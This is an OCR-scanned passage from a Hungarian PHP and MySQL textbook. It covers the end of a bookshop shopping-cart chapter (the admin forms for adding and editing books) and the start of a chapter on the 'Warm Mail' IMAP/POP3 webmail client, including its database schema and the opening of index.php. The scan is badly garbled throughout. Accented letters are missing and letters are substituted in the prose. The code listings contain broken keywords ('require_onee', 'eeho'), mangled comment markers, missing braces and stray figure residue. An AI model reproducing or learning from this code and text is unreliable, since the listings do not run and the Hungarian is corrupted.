vltoztathatja jelszavt, vagy kijelentkezhet; az ezeket a funkcikat megvalst kd teljes egszben megegyezik a 27. fejezet

28

ben hasznlttal, gy itt most eltekintnk a megjelentstL


Bejelentkezse utn az admin_felhasznala munkamenet-vltoz s az admin_felhasznala _ellenorzese ()
fggvny segtsgvel azonostjuk a rendszergazdai felhasznlt. Ezt s az adminisztrcis kdok ltal hasznlt tbbi fggvnyt
az admin_fuggvenyek. php fggvnyknyvtr tartalmazza.
Ha a felhasznl gy dnt, hogy j kategrit vagy knyvet tlt fel, akkor a kategoria_beszurasa_urlap.php, illetve
a konyv_beszurasa_urlap.php kdot veszi ignybe ehhez. Mindkett egy kitltend rlapot jelent meg a rendszergazda
szmra. Az rlapot a tartalmnak megfelel kd (kategoria_beszurasa.php vagy konyv_beszurasa.p hp) dolgozza
fel, amely elszr ellenrzi, hogy az rlap ki lett-e tltve, majd beszrja az adatbzisba az j adatokat. A kt kdpr kzl csak
a knyvek beszrst vgzk tartalmt tekintjk t, mert a msik kt kd ezekkel teljes mrtkben egyez mdon mkdik.
A konyv_beszurasa_urlap.php kd ltal ltrehozott rlapot a 28.13 bra mutatja.

Knyv hOuadsa

=-;
Kol_..

r-..,--

-:----=--=-=)_- --- ------------.

-- - - ----- ----

'

lt:;.u.-toozz-1

28.13 bra: A rendszergazda ezzel az rlappal vihet fel j knyveket az online katalgusba.

Figyeljk meg, hogy a knyvek Kategria mezje egy HTML SELECT elem! A legrdl menbl vlaszthat lehets
gek a korbban mr megvizsglt kategoriak_lekerese () fggvny hvsbl kvetkeznek.
Amikor a felhasznl a"Knyv felvitele" gombra kattint, a konyv_beszurasa.php fjlt hvja meg. Ennek tartalmt
a 28.18 pldakd mutatja.
28.18 pldakd: konyv_beszurasa.php-A kd ellenrzi az j knyv adatait, majd beszrja azokat az adatbzisba
<?php

ll az alkalmazs fggvnyfjljainak beillesztse


require_onee('konyv_kosar_fuggvenyek.php');
session start();
html fejlee letrehozasa("Konyv felvitele");
if (admin_felhasznalo_ellenorzese())
if (kitoltott($ POST))
$isbn =$ POST['isbn'];
$eim =$ POST['eim'];
$szerzo =$_POST['szerzo'];
$kategoriaiD =$ POST['kategor1aiD'];
$kosar =$ POST['ar'];
$leiras =$ POST['leiras'];
if(konyv_beszurasa($isbn,

$eim,

$szerzo,

$kategoriaiD,

$kosar,

$leiras))

eeho "<p>A(z) <em>".stripslashes($eim)."</em> knyvet hozzadtuk


az adatbzishoz.</p>";
else
eeho "<p>A(z) <em>".stripslashes($eim)."</em> knyvet nem sikerlt hozzadni

Kosr funkci programozsa

447

az adatbzishoz.</p>";

else
echo "<p>Nem tlttte ki az rlapot. Krjk,

html_url letrehozasa("admin.php",

prblja meg 6jra!</p>";

"V1ssza az Admin menhz");

else
echo "<p>Nincs jogosultsga megtekinteni azt az oldalt.</p>";

html lablec_letrehozasa();

?>

A 28.18 pldakdbl lthat, hogy a kd meghvja a konyv_beszurasa () fggvnyt. Ezt s az adminisztrcis kdok
ltal hasznlt tbbi fggvnyt az admin_ fuggvenyek.ph p fggvnyknyvtrban talljuk.
Az j kategrik s knyvek felvitele mellett a rendszergazdk szerkeszthetik s trlhetik is azokat. Ezeket a funkcikat
gy valstottuk meg. hogy minl tbbet fel tudjunk hasznlni a meglv kdokbl. Amikor a rendszergazda az adminiszt
rcis men.,Ugrs a nyitoldalra" hivatkozsra kattint, az index. php oldalon lv kategrialisthoz jut, s az ltalnos
felhasznlkkal egyez mdon, ugyanazokat a kdokat hasznlva naviglhat az oldalon.
Egy fontos klnbsget azonban meg kell emlteni az egyszerU s a rendszergazdai felhasznJk kztt: az urbbiaknak ms
funkcikat tesznk elrhetv. A rendszergazdkat az alapjn ismerjk fel, hogy szmukra az admin_felhasznala munka
menet-vltozt regiszttltuk. Ha megnzzk pldul a fejezet egy korbbi rszben megvizsglt konyv_megjelenitese. php
oldalt, akkor a 28.14 brn lthatktl klnbz menpontokat ltunk.

28.14 bra: A konyv_megjelenitese.php kd msmilyen kimenetet llt el a rendszergazdk szmra.


"
Rendszergazdaknt kt j gombot ltunk az oldalon:"Ttel szerkesztse s "Admin men': Vegyk szre, hogy a jobb fels
sarokban nem jelenik meg a kosr, helyette a Kijelentkezs" gombot lthatjuk ott!
"
Ennek az oldalnak a kdja, amit mg a 28.8 pldakdban lthattunk, a kvetkezkppen nz ki:
if(admin_felhasznalo_ellenorzese())

gomb_megjelenitese("konyv szerkesztese_urlap.php?isbn=".$isbn,

"tetel-szerkesztese",

"Ttel szerkesztse");
gomb_megjelenitese("admin.php",
gomb_megjelenitese($cel,

"admin-menu",

"folytatas",

"Admin men");

"Folytats");

Ha jra megnzzk a kategoria_megjelenitese.ph p kdot, ott is lthag uk ezeket a funkcikat.


Amikor a rendszergazda a,;ftel szerkesztse" gombra kattint, a konyv_szerkesztese_urlap.php kdot hvja meg.
A kd kimenett a 28.15 brn lthag uk.

28

448

28. fejezet

28

28.15 bra: A konyv_szerkesztese_urlap.php kd lehetsget ad a rendszergazdknak


a knyv adatainak szerkesztsre s a knyv trlsre.

Az rlap els fele megegyezik azzal, amivel korbban a knyvek adatait felvittk. Abba az rlapba beptettnk egy olyan
opcit, ami a meglv knyvadatokat tadhatja az rlapnak

az

rlap szvegmeziben val megjelents cljbl. Ugyanezt

a vltoztatst hajtottuk vgre a kategrik szerkesztsre s trlsre szolgl rlapon is. A 28.19 pldakdban lthatjuk, hogy
mindez pontosan mit jelent.
28.19 pldakd: Az a dmin_fuggvenyek. php knyvtr konyv_urlap_megjeleni tese ()

fggvnye- A felvitelhez s

szerkesztshez is hasznlhat, ketts cl rlap


function konyv_urlap_megjelenitese($konyv

'')

ll A knyv rlapot jelenti meg.


ll Nagyon hasonl a kategria rlaphoz.
ll Az rlapot knyvek felvitelre s szerkesztsre lehet hasznlni.
ll Felvitelhez nem adunk t paramtert. Ez false-ra lltja a $szerkesztes
ll rtkt,

az rlap pedig a konyv_beszurasa.php oldalt hvja meg.

ll Szerkesztshez egy knyvet tartalmaz tmbt adunk t.


ll a rgi adatokkal fog megJelenni,

Az rlap

s a konyv szerkesztese.php oldalra mutat.

ll Egy "Knyv trlse" gombot is megjelent.

ll ha meglv6 knyvet adunk t neki,

"szerkesztsi mdban" folytatja

$szerkesztes = is_array($konyv);

ll az rlap nagy rsze egyszer


ll nmi

HTML

PHP kddal kiegsztve

?>
<form method="post"
action="<?php echo

$szerkesztes ?

'konyv_szerkesztese.php'

'konyv_beszurasa.php';?>">
<table border="O">
<tr>
<td>ISBN:</td>
<td><input type="text" name="isbn"
value="<?php echo $szerkesztes ? $konyv ['isbn' l

'';

?>" /></td>

</tr>
<tr>
<td>Knyvcm:</td>
<td><input type="text" name="cim"
value="<?php echo
</tr>
<tr>

$szerkesztes ?

$konyv ['eim' l

?>" /></td>

Kosr funkci programosa

449

<td>Szerz:</td>
<td><input type="text" name="szerzo"
value="<?php echo $szerkesztes ? $konyv['szerzo' l

?>" /><ltd>

</tr>
<tr>
<td>Kategria:</td>
<td><select name="kategoriaiD">
<?php
ll a szba jhet kategrik listja az adatbzisbl szrmazik
$kat tomb=kategoriak_lekerese();
foreach ($kat_tomb as $ez_a_kat)
echo "<option value=\"".$ez_a_kat['kategoriaiD'] ."\"";
ll ha meglv knyv,
if (($szerkesztes)

tegye az aktulis kategriba!

&&

($ez_a_kat['kategoriaiD'] == $konyv['kategoriaiD']))

echo '
' kivlasztva'';
echo ">".$ez a kat['kategoria neve'] ."</option>";
?>
</select>
<ltd>
</tr>
<tr>
<td>r:</td>
<td><input type="text" name="ar"
value="<?php echo $szerkesztes ? $konyv['ar']

''. ?>" /><ltd>


'

</tr>
<tr>
<td>Lers:</td>
<td><textarea rows="3" cols="50" name="leiras"><?php echo $szerkesztes ?
$konyv['leiras' l

: ' ';

?></textarea></td>

</tr>
<tr>
<td <?php if

(! $szerkesztes) { echo "colspan=2";

} ?> align="center">

<?php
if ($szerkesztes)
ll ha az isbn kdot mdostjuk,
ll szksgnk van a rgire,

hogy megtalljuk a knyvet az adatbzisban

echo "<input type=\"hidden\" name=\"elozo isbn\"


value=\"".$konyv['isbn']."\" />";
?>
<input type="submit"
value="<?php echo $szerkesztes ? 'Knyv szerkesztse'
hozzadsa';

?> Knyv" />

</form></td>
<?php
if ($szerkesztes)
echo "<td>
<form method=\"post\" action=\"konyv_torlese.php\">
<input type=\"hidden\" name=\"isbn\"
value=\"".$konyv['isbn'] ."\" />
<input type=\"submit\" value=\"Knyv trlse\"/>
</form></td>";

'j Knyv

28

450

28.fezer

?>
</td>

28

</tr>
</table>
</form>
<?php

Ha az rlapnak knyvadarokat tartalmaz rmbr adunk r, szerkeszrsi mdban, az rlapmezkben a meglv adarokkal
jelenik meg:
<input type=''text''

name=''ar''

valu e="<?php echo

$sz erkesztes ?

$konyv ['ar'

' ';

?>" / ><

A klds gomb is kicsir msmilyen. Sr, a szerkeszrsre alkalmas rlapon egszen pontosan kr gombot lthatunk: az egyik
a knyv szerkeszrsre, a msik pedig a trlsre szolgl. Ezek a gombok a konyv

sz erkesztese. php, illerve

torlese. php

a konyv

kdot hvjk meg, amelyek a krr mvelernek megfelelen frisstik az adarbzisr.

A fenti kr kd kategrikat kezel vlrozarai egyeden dolog kivrelvel ugyangy mkdnek. Amikor a rendszergazda meg
prbl trlni egy karegrir, ez csak akkor sikerl, ha egyeden knyv sincsen benne. (Ezr egy lekrdezssei ellenrzi a kd.)
Ezzel megelzhetjk a rrlsi anomlik okozta esetleges problmkat. Az ilyen anomlikrl a Webes adatbzis megtervezse
cm 8. fejezerben eserr sz. Ennl a konkrt pldnl maradva: ha olyan kategrit trlnnk, amely knyveket tartalmaz,
azok a knyvek.,rvv" vlnnak. Nem tudnnk, hogy milyen kategriba tartoznak, s nem tudnnk hozzjuk naviglni.
Ezzel befejeztk az adminisztrcis fellet rrekinrst.Tovbbi rszierekn vizsglgassuk a kdor, amir reljes egszben
megtallunk a lerlrher mellklerekben!

A projekt tovbbfejlesztse
Ha vgigkverrk a projekrer, egy viszonylag egyszer kosr funkcir knl rendszerr hozharrunk lrre. Az gy kaporr alkal
mazst sokflekppen bvthetjk s rovbbfejleszrherjk:
Egy valdi online boltban mindenkppen szksg van a megrendelseket s a teljestseker nyomon kver rendszerre.
Jelenleg egyltaln nem ltjuk, hogy milyen megrendelseket kaptunk.
A vsrlk ignylik, hogy tudjanak megrendelsk llapotrl- lehetleg gy, hogy ehhez ne kelljen kapcsolatba lpni az
eladval. Fonros, hogy a vsrlk bejelentkezs nlkl is bngszhessk az oldalon rulr rermkeker. A meglv vsrlk
hirelesrse ugyanakkor lehetsger ad arra, hogy bejelentkezs urn megtekintsk korbbi rendelseiker, mi pedig ko
rbbi vsrlsi szoksaik alapjn klnbz gyflprofi.lokar dolgozharunk ki.
Jelenleg FTP-n keresztl kell feltirennk a knyvek kpeit az azokar trol mappba, illerve el kell neveznnk a kp
fjlokar. A folyamarot azzal leher egyszersteni, ha fjlfelrlr funkcival egsztjk ki a knyvek felvirelre szolgl oldalt.
Az alkalmazst- sok egyb mellerr- felhasznli bejelenrkezssel, a bejelentkezerr felhasznJk szmra szemlyre sza
borr rarralom s knyvajnJk megjelenrsvel, online rckelsekkel s a raktrkszlet nyilvnrarrsval fejleszthernnk
rovbb. A lehetsgek szma szinre korlrlan.

Meglv rendszer hasznlata


Amennyiben gyorsan szerernnk jl mkd rendszerr zembe helyezni, vegyk ignybe valamelyik meglv kosrmegoldsr!
Az egyik jl ismert, nylr forrskd s PHP-ben megvalstort kosrrendszer a hrrp:/ /www.fi.shcarr.org/ oldalrl elrhet
FishCarrSQL.
A rbb nyelven hasznlhat rendszer egyebek kzrr olyan fejlerr funkcikar knl, minr a vsrlkvers, az idzterr akcik
lehetsge, a hirelkrrya-feldolgozs s az egy kiszolgln fur rbb online bolr tmogarsnak lehetsge. Meglv rendszer
ignybe vrelekor termszetesen mindig fennll annak eslye, hogy pour a szmunkra fonros funkcik hinyoznak. A nylr
forrskd megoldsok egyik elnye viszont ppen az, hogy rerszs szerinr mdosrharjuk a neknk nem rersz vagy nem meg
felel dolgokat.

Hogyan tovbb:
A kvetkez fejezerben azr fogjuk megtanulni, hogyan fejlessznk olyan webes kezelfellerer, amivel az !MAP protokoll se
gtsgve! az internerrl kldhernk s fogadharunk e-maileker.

29
Webalap levelezszolgltats
ltrehozsa
Napjainkban egyre tbb oldal knl felhasznlinak webalap e-mail szolgltatst. Az elttnk ll fejezetbl kiderl, hogyan
tudunk a PHP IMAP knyvtrnak segtsgvel webes kezelfelletet fejleszteni meglv levelezkiszolglhoz. A szolgl
tats alkalmas arra, hogy weboldalon keresztl elrhet legyen meglv postafik, st, egyszer akr olyan tmeges webalap
levelezalkalmazss fejleszthetjk, mint a rengeteg felhasznlt tmogaeni kpes GMaii, Yahoo! Maii vagy Hotmail.
A projektben a Warm Mai! nev e-mail klienst fogjuk ltrehozni, amely lehetv teszi a felhasznlknak, hogy:
Kapcsoldjanak POP3 vagyIMAP levelezszerverkn lv postafikjukhoz
Olvassk leveleiket
Levelet kldjenek
Vlaszoljanak berkezett zeneteikre
Tovbbtsk berkezert zeneteiket
Trljk a postafikjukban lev zeneteiket

A megolds alkotelemei
Ahhoz, hogy a felhasznl olvasni tudja leveleit, valamilyen mdszerrel kapcsoldnia kell a levelezszerverhez. Ez jellemzen
nem ugyanaz a gp, mint a webszervernk. Meg kell tallni a mdjt, hogy kapcsolatba lpjnk a felhasznl postafikjval,
mert enlkl nem ltjuk a berkezett zeneteit, s nem tudunk az egyes levelekkel egyenknt foglalkozni.

Levelezprotokollok: a POP3 s az IMAP sszehasonltsa


A levelezszerverek ltal tmogatott, a felhasznli postafikok olvassra szolgl kt legelterjedtebb protokoll a Post Office
Protocol version 3 (POP3) s az Internet Message Access Protocol (!MAP). Ha megoldhat, alkalmazsunknak mind a kt
protokollt tmogatnia kellene.
A kett kzrt a f klnbsg abban ll, hogy a POP3 elssorban olyan felhasznlknak j, s ennek megfelelen jellem
zen olyanok hasznljk, akik csak rvid ideig csatlakoznak a hlzathoz, hogy leveleiket a kiszolglrl letltsk, trljk.
Az IMAP online hasznlatra kialaktott protokoll, amely leginkbb az llandan a tvoli kszolgln tartott levelek kezelsre
alkalmas. Az !MAP olyan magasabb szint funkcikkal is rendelkezik, arniket nem fogunk jelen projektnkben kihasznlni.
Ha szeretnnk a kt protokoll kztti klnbsgekrl bvebben tjkozdni, olvassuk el az RFC dokumentumukat (RFC
1939 a POP version 3-hoz, illetve RFC 3 501 az IMAP version 4 rev l verzijhoz)! A kt protokollt sszehasonlt kivl
cikket tallunk a http:/ /www.imap.org/papers/imap.vs.pop.brief.html oldalon.
Egyik protokoll sem levlkldsre szolgl; erre a clra a Simple Mai! Transfer Protocol (SMTP) alkalmas, amit mr korb
ban is hasznltunk a PHP mai l ( ) fggvnyveL Ezt a protokollt az RFC 821 dokumentum rja le.

POP3 s IMAP tmogatsa PHPben


A PHP magas szinten tmogatja az IMAP s a POP3 protokollt, mindkettt azIMAP fggvnyknyvtr ltal. A fejezetben
bemutatand kd hasznlathoz teleptennk kell az IMAP knyvtrat. A phpinfo ( ) fggvny kimenetbl megllapthat
juk, hogy rendszernkn teleptve van-e mr a knyvtr.
Ha Linuxot vagy Unixot hasznlunk, s nincsen teleptve az IMAP knyvtr, le kell tltennk az ehhez szksges knyv
trakat. FTP-n keresztl az albbi cmrl szerezhetjk be a legjabb verzit: ftp:/ /ftp.cac.washington.edu/imap/. Ha Unixot

452

29. fejezet

futtatunk, tltsk le a forrst, s fordtsuk le opercis rendszernknek! Ezt kveten hozzunk ltre egy knyvrrat az IMAP
fjloknak rendszernk include (beillesztett fjlokat tartalmaz) knyvrrn bell, s adjuk neki mondjuk az imap nevet!
elg. ha egyszeren csak bemsoljuk a fJlokat az alap include knyvtrba, mert

ez

(Nem

ksbb tkzseket okozhat.) Hozzunk

ltre az j knyvtrban kt alknyvtrat, aminek imap/ lib/ s imap/ incluctel legyen a neve! Msoljuk be a teleptsbl
az sszes*. h fjlt az imap/include/ knyvtrba! Ha vgrehajtjuk a fordtst, egy c-client.a jn ltre. Nevezzk t
ezt libc-client. a -ra, s msoljuk be az imap/lib/ knyvtrba!
Ekkor futtassuk a PHP konfigurl szkriptjt, amelyhez a tbbi, ltalunk hasznlt paramter mellett a --with
imap=dirname direktvt is hozza kell adnunk (a dirname helyre az ltalunk ltrehozott knyvtr nevt kell bernunk),

29

majd fordtsuk jra a PHP-t!


Az IMAP kiterjeszts W indows alatti hasznlathoz nyissuk meg a php. ini fjlt, s vegyk ki a megjegyzs jeit az alb
bi sor ell (vagyis mostantl ne megjegyzs legyen):
extension=php_imap.dll

Ezt kveten indtsuk jra a webszervert! Azt, hogy az IMAP kirerjeszts teleptve van-e, a phpinfo ( ) fggvny futtats
val llapthatjuk meg. Kimenerben lmunk kell az IMAP-pel foglalkoz rszr.
Egy rdekessgre rdemes felhvnunk a figyelmet: noha IMAP fggvnyeknek nevezzk ket, egyformn jl mkdnek
a POP3-mal s a Nerwork News Transfer Protocollal (NNTP) is. Pldnkban az IMAP-hoz s a POP3-hoz fogjuk hasznlni
ket, de a Warm Maii alkalmazst egyszeren rovbbfejleszthetnnk, hogy NNTP-t hasznlva ne csak levelezkliens, hanem
hrolvas (newsreader) is legyen.
A knyvtr szmos fggvnyt tartalmaz, de az alkalmazs mkdshez csak nhnyat fogunk kzlk hasznlni. Hasz
nlatukkor bemutatjuk ezeket a fggvnyeket, de j, ha tudjuk, hogy a knyvtr szmos tovbbi fggvnyt knl. Ha ettl
a projekttl eltr ignyeink vannak, vagy tovbbi funkcikkal szecernnk gazdagtani az alkalmazst, lapozzunk bele btran
a knyvtr dokumentcijba l
Viszonylag jl hasznlhat levelezalkalmazst lehet fejleszteni mr akkor is, ha a beptett fggvnyeknek csak egy tred
kvel dolgozunk. Ez egyttal azt is jelenti, hogy a dokumentcinak csak egy rszn kell trgnunk magunkat. Ebben a fejezet
ben a kvetkez IMAP fggvnyeket fogjuk hasznlni:
imap_open ()
imap_ elose()
imap_headers()
imap_header()
imap_fetchheader()
imap_body()
imap_delete()
imap_expunge()

Ahhoz, hogy a felhasznl olvasni tudja leveleit, szksgnk van kszolgljnak s postafikjnak az adataira. Hogy ne
kelljen ezeket minden egyes alkalommal megkrdezni, felhasznli nevet s jelszr lltunk be a felhasznlknak, hogy adatb
zisban trolhassuk adataikat.
Az emberek gyakran egynl tbb postafikkal rendelkeznek (pldul egy otthonival s egy munkahelyivel), ezrt lehetv
kell tenni szmukra, hogy brmelyikhez hozzfrjenek. Ehhez az szksges, hogy az adatbzis egy felhasznlhoz tbb postafi
k adatt is el tudja trolni.
A felhasznJk szeremk elolvasni meglv leveleiket, vlaszolni rjuk, tovbbtani vagy trlni ket, illetve minden bizony
nyal kldeni is kvnnak j zeneteket. Az olvasssal kapcsolatos funkcikat az IMAP vagy a POP3 protokollal, a kldst
pedig a SMTP mail () fggvnyvel tudjuk megvalstani.
Most pedig vizsgljuk meg. hogy lehet sszerakni ezeket a rszeket!

A megolds ttekintse
Webalap rendszernk ltalnos folyamarbrja nem sokkal klnbzik ms e-mail kliensektL A 29.1 brn a rendszer m
kdst s moduljait bemutat folyamatbra lthat.

Webalap levelezs::olgltats ltrehozsa

453

29

29.1 bra: A Warm Maii alkalmazs fellete postafik- s zenetszint funkcikat nyjt afe/hasznlknak.

Az brbl ltszik,hogy elszr bejelentkezsre krjk fel a felhasznlt,majd vlas::tsi lehetsget adunk nelci. j posta
fikot hozhat ltre,vagy kivlaszthatja az ppen hasznlni kivnt,mr meglv filgt. Megtekintheti bejv zeneteit - vla
szolhat rjuk,tovbbthatja s trlheti a::okat -,illetve j zenetet kldhet.
Lehetsget adunk a felhasznlknak arra,hogy egy adott ::enet fejlct teljes rszleteiben megtekintsk. A fejlcben tall
hat rszletes adatok rengeteg informcit kzlhetnek az zenetrl. Lthatjuk,hogy melyik gprl rkezett a levl - ami lci
vlan alkalmas a levlszemt (spam) lenyomozsra. Kiderl, hogy melyik gp tovbbtotta a levelet,s mikor rte el az egyes
hos::tokat - amibl megllapthat, hogy kit okolharunk a ksve rkezett levlrt. Amennyiben a kld levelezalkalmazsa
opcionlis informcikat is megad a fejlcben,akkor akr azt is megtudhatjuk,hogy milyen levelezklienst hasznl a kld.
Ez a projekt az elz ketttl kiss eltr alkalmazsarchitektrt hasznl. Ahelyett,hogy az egyes modulokat tbb kd
alkotn,a projekt egyeden hosszabb kdbl (index. php) ll, ami gy mkdik, mintha egy grafikus kezelfellet program
esemnyhurokja lenne. Az oldal brmely gombjra kattintva az index. php fjlhoz jutunk,azonban minden esetben ms
paramtert adunk t a kdnak. A paramtertl fggen eltr fggvnyeket hvunk meg. hogy megjelentsk a felhas::nl s2:
mra a kvnt tartalmat. A fggvnyeket szoks szerint fggvnyknyvtrakba helyezzk.
Az ilyen architektra kivlan alkalmas az ehhez hasonl !cis alkalmazsokhoz. Elssorban esemnyverelt alkalmazsok
ho:: megfelel,ahol a felhasznli mveletek vltjk Ici a mkdst. Egyeden esemnykezel hasznlata ugyanakkor nem alkal
mas nagyobb architektrkhoz vagy projektekhez, amelyeken egy egsz csapat fejleszt dolgozik.
A Warm Maii projektet alkot fjlokat a 29.1 tblzat sorolja fel.
29.1 tblzat: A Warm Maiilevelezalkalmazsban hasznlt fjlok
Nv

Tpus

Lers

index.php

Alkalmazs

A teljes alkalmazst futtat,f kd

beillesztett_fuggvenyek.php

Fggvnyek

Az alkalmazsba beillesztett fjlok gyjtemnye

adat_ellenor::o_fuggvenyek.php

Fggvnyek

A felhasznlk ltal bevitt adatokat ellenr:: fggvnyek


gyjtemnye

adatbazis

Fggvnyek

A levelezes adatbzishoz kapcsoldsra has::nlt


fggvnyek gyjtemnye

levelezo_fuggvenyek.php

Fggvnyek

A levelezshez kapcsold,postafikok megnyitsra,le


velek olvassra stb. has::nlhat fggvnyek gyjtemnye

klmeneti fuggvenyek.php

Fggvnyek

A HTML kimenetet elllt fggvnyek gyjtemnye

felhasznaloi hitelesites

Fggvnyek

A felhasznlk hitelestsre has::nlt fggvnyek gyj


temnye

fuggvenyek.php

fuggvenyek.php

454

29.fezet

Nv

Tpus

Lers

adatbazis letrehozasa.sql

SQL

A levelezes adatbzist s egy felhasznlt ltrehoz


SQLkd

Vizsgljuk meg most magt az alkalmazst!

29

Az adatbzis ltrehozsa
A Warm Maii alkalmazs adatbzisa viszonylag egyszer, mivel igazbl egyetlen e-mailt sem trol.
Trolni kell benne viszont a rendszer felhasznlit. Minden felhasznl esetn az albbi mezket kell szerepeltetni az adatbzisban:
-A felhasznl ltal a Warm Maii alkalmazshoz vlasztott felhasznli nv.

felhasznaloi nev
j elszo

-A felhasznl ltal a Warm Maii alkalmazshoz vlasztott jelsz.

email_eim

-A felhasznl ltal vlasztott e-mail cm, amely a rendszerbl kldtt levelek Felad mezjben megje

lenik.
felado_neve

-A felhasznl neve, amit az ltala kldtt levelek feladjaknt szeretne megjelenteni.

Ezen tlmenen minden olyan postafikot el kell trolnunk, amit a felhasznlk a rendszernk segtsgvel el kvnnak rni.
Minden postafikhoz az albbi adatokat kell feljegyezni:
-A Warm Maii felhasznl, akihez a postafik tartozik.

felhasznaloi_nev
szerver
port-

-A gp, amin a postafik tallhat; pldul localhost, mail.tangledweb.com.au vagy brmilyen ms domain.

A port, amelyhez a postafik hasznlata rdekben csatlakozni kell. POP3 kiszolglk esetn ltalban a 110-es,

IMAP kiszolglk esetn pedig a 143-as.


tipus

-A kiszolglhoz val csatlakozshoz hasznlt protokoll, POP3 vagy IMAP.

tavoli_ felhasz nalo

tavoli_je lsz o

fiok_azonosi to-

A levelezkiszolglhoz val csatlakozsra hasznlt felhasznli nv.

A levelezkiszolglhoz val csatlakozsra hasznlt jelsz.

A postafikok azonostsra hasznlt egyedi kulcs.

Az alkalmazs adatbzist a 29.1 pldakdban lv SQLkd futtatsval hozhatjuk ltre.


29.1 pldakd: ada tb azis_letrehozasa. sql -A levelezes adatbzist ltrehoz SQL kd
CREATE DATABASE levelezes;

USE levelezes;

CREATE TABLE

felhasznalek

felhasznaloi_nev CHAR(l6)
jelsze CHAR(40)

email_cim CHAR(l00)

NOT NULL,

felado neve CHAR(l00)


)

NOT NULL PRIMARY KEY,

NOT NULL,

NOT NULL

CREATE TABLE fiokok

felhasznaloi nev CHAR(l6)


szerver CHAR(l00)

NOT NULL,

NOT NULL,

port INT NOT NULL,


tipus CHAR(4)

NOT NULL,

tavoli felhasznala CHAR(SO)


tavoli jelsze CHAR(SO)

NOT NULL,

NOT NULL,

fiok azonosite INT UNSIGNED NOT NULL AUTO INCREMENT PRIMARY KEY
);

Webalap levelezszolgltats ltrehozsa

GRANT SELECT,

INSERT,

UPDATE,

455

DELETE

ON levelezes.*
TO

levelezes@localhost IDENTIFIED

BY

'jelszo';

Ne felejtsk elfuttatni a fenti SQL kdot az albbi utasts begpelsvel:


mysql -u root -p

adatbaz1s_letrehozasa.sql

<

A futtatshoz meg kell adni root jelszavunkat. Az adatbazis_letrehozasa. sql s az adatbazis_fuggvenyek.php


kdbanfuttatsuk eltt meg kell vltoztami a levelezes felhasznl jelszavt.
Ehhez az alkalmazshoz nem hozunk ltre felhasznli regisztrcit s rendszergazdai adminisztrcit. Ha szlesebb
krben kvnjuk hasznlni a programot, akkor magunknak kell megvalstani ezeket a funkcikat, de ha csak mi fogjuk hasz
nlni, akkor elg. ha sajt adatainkat szrjuk be az adatbzisba. A letlthet mellkletek 2 9_fejezet mappjban tallhat
feltoltes. sql kd ehhez knl sablont, gy sajt adatainkat beszrva s a kdot futtatva bellthatjuk sajt magunkat fel

hasznlnak.

A kd architektrjnak vizsglata
Mr emltettk, hogy a Warm Maii alkalmazs egyetlen kddal szablyozza az sszes funkcit. Ezt az index. php nev fjlt
a

29.2 pldakdban lthatjuk. A kd ugyan elg hossz, de rszenknt fogunk vgigmenni rajta.

29.2 pldakd: index.php -A Warm Maiilevelezrendszer gerince


<?php

ll Ez a fjl a Warm Mail alkalmazs kzponti rsze.


ll Lnyegben llapotgpknt mkdik,

s megjeleniti a felhasznlknak

ll az ltaluk vlasztott mvelet eredmnyt.


//*** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ** * * * * * * * * * * *************

ll l. rsz: elfeldolgozs
ll Az oldal fejlcnek elkldse eltt dolgozzuk fel,
ll s dntsk el,

amit kell,

milyen adatokat jelentsnk meg az oldal fejlcn!

//**** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ****************************

include ('beillesztett_fuggvenyek.php');
session_start();

ll rvid vltoznevek ltrehozsa


$felhasznaloi_nev

$_POST['felhasznaloi_nev'];

$jelszo = $_POST['jelszo'];
$muvelet = $_REQUEST['muvelet'];
$fiok = $_REQUEST['fiok'];
$uzenetiD = $_GET['uzenetiD'];
$cimzett = $ POST['cimzett'];
$masolatot_kap

$ POST['masolatot_kap'];

$targy = $ POST['targy'];
$uzenet

$ POST['uzenet'];

$gombok = array();

ll fzzk hozz ehhez a sztringhez,


ll ha brmit feldolgoztunk a HTTP fejlc elkldse eltt!
Sallapot

'

'

ll a be- s kijelentkezsi krseket minden mst megelzen kell feldolgozni


if ($felhasznaloi_nev

l l

$jelszo)

29

456

29. fejezet

if(bejelentkezes($felhasznalol nev,

$jelszo))

Sallapot .= "<p style=\"padding-bottom:

lOOpx\">Sikeres bejelentkezs.</p>";

S_SESSION['hitelesitett_felhasznalo'l = $felhasznaloi_nev;
if(fiokok_szama($ SESSION['hitelesitett felhasznalo'l)==l)
$fiokok =fiok lista lekerese($ SESSION['hitelesitett felhasznalo'l);
$ SESSION['kivalasztott_fiok'l

else

29

$fiokok[O l;

Sallapot

"<p style=\"padding-bottom:

lOOpx\">Sajnos nem sikerlt

belptetni a megadott felhasznli nvvel s jelszval.</p>";

if($muvelet

'kijelentkezes')

==

session destroy();
unset($muvelet);
S_SESSION=array();

//a fejlc megrajzolsa eltt fel kell dolgozni a fik kivlasztsa,


//trlse vagy trolsa mveletet
switch ($muvelet)
case

'fiok-torlese':

fiok torlese($_SESSION['hitelesitett_felhasznalo'l,

$fiok);

break;

case 'beallitasok-tarolasa':
fiok_bealli tasok_tarolasa ($ SESSION['hitelesi tett felhasznalo'l ,
_

$ POST);

break;

case 'fiok-kivalasztasa':

ll ha ltez fikot vlasztott ki,


if(($fiok)

&&

mentsk el munkamenet-vltozknt!

(fiok_letezik($ SESSION['hitelesitett felhasznalo'l,

$fiok)))

$ SESSION[ 'kivalasztott_fiok'l = $fiok;

break;

ll az eszkzsoron lev gombok belltsa


$gombok[Ol

'postafiok-megtekintese';

$gombok[ll

'uj-uzenet';

$gombok[2l

'fiok-beallitasa';

ll csak bejelentkezs utn jelentsUk meg a kijelentkezs gombot!


if(hitelesitett felhasznalo_ellenorzese())
$gombok[4l

'kijelentkezes';

//*****************************************************************************
ll 2. rsz:

fejlcek

ll Az aktulis mveletnek megfelel HTML fejlcek s mensv elkldse


//*****************************************************************************
if($muvelet)

ll az alkalmazs nevt,

illetve az oldal vagy mvelet lerst

Webalap levelezszolgltats ltrehozsa

457

ll tartalmaz fejlc megjelenitse


html fejlec_letrehozasa($_SESSION['hitelesitett felhasznalo'],
muvelet formazasa($muvelet),

"Warm Mail - ".

$ SESSION['kivalasztott_fiok']);

else

ll csak az alkalmazs nevt tartalmaz fejlc megjelenitse


html fejlec_letrehozasa($_SESSION['hitelesitett_felhasznalo'],

"Warm Mail",

$_SESSION['kivalasztott_fiok']);

l 29

eszkozsor_megjelenitese($gombok);
//*****************************************************************************

ll 3.
ll

rsz:

oldal trzse

mvelettl fggen megfelel tartalom megjelenitse


